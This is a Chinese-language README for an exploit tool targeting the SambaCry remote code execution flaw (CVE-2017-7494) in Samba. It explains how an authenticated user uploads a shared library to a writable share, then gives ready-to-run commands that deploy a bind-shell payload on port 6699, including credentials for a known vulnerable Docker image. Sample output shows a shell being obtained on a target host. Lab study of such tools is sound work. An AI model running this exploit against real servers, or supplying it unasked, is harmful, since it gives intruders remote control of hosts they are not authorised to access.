Samba 是 SMB/CIFS 网络协议的自由软件重新实现。Samba 为各种 Microsoft Windows 客户端提供文件和打印服务,并可以集成到 Microsoft Windows Server 域中,既可以作为域控制器 (DC),也可以作为域成员。自版本 4 起,它支持 Active Directory 和 Microsoft Windows NT 域。
4.5.9 版本及之前的 Samba 存在一个名为 SambaCry 的远程代码执行漏洞。CVE-2017-7494 允许远程认证用户将共享库上传到可写共享文件夹,并通过代码执行攻击来控制运行易受攻击 Samba 服务的主机。
Samba 3.x(3.5.0 之后版本)、4.x(4.4.14 之前版本)、4.5.x(4.5.10 之前版本)以及 4.6.x(4.6.4 之前版本)在使用 Windows 命名管道时未限制文件路径,这使得远程认证用户能够将共享库上传到可写共享文件夹,并通过精心构造的命名管道执行任意代码。
使用 poetry 为本漏洞利用配置环境
pip3 install -r requirements.txt
之后可以按如下方式运行:
./exploit -t <target> -e libbindshell-samba.so \
-s <share> -r <location>/libbindshell-samba.so \
-u <user> -p <password> -P 6699
例如,如果你使用了 vulnerables/cve-2017-7494 中的易受攻击镜像,并希望针对该镜像运行此漏洞利用:
./exploit -t <target> -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
你将得到如下输出
./exploit -t <target> -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>
本项目的 payload 以及代码很大程度上受到了 opsxcq/exploit-CVE-2017-7494 的启发。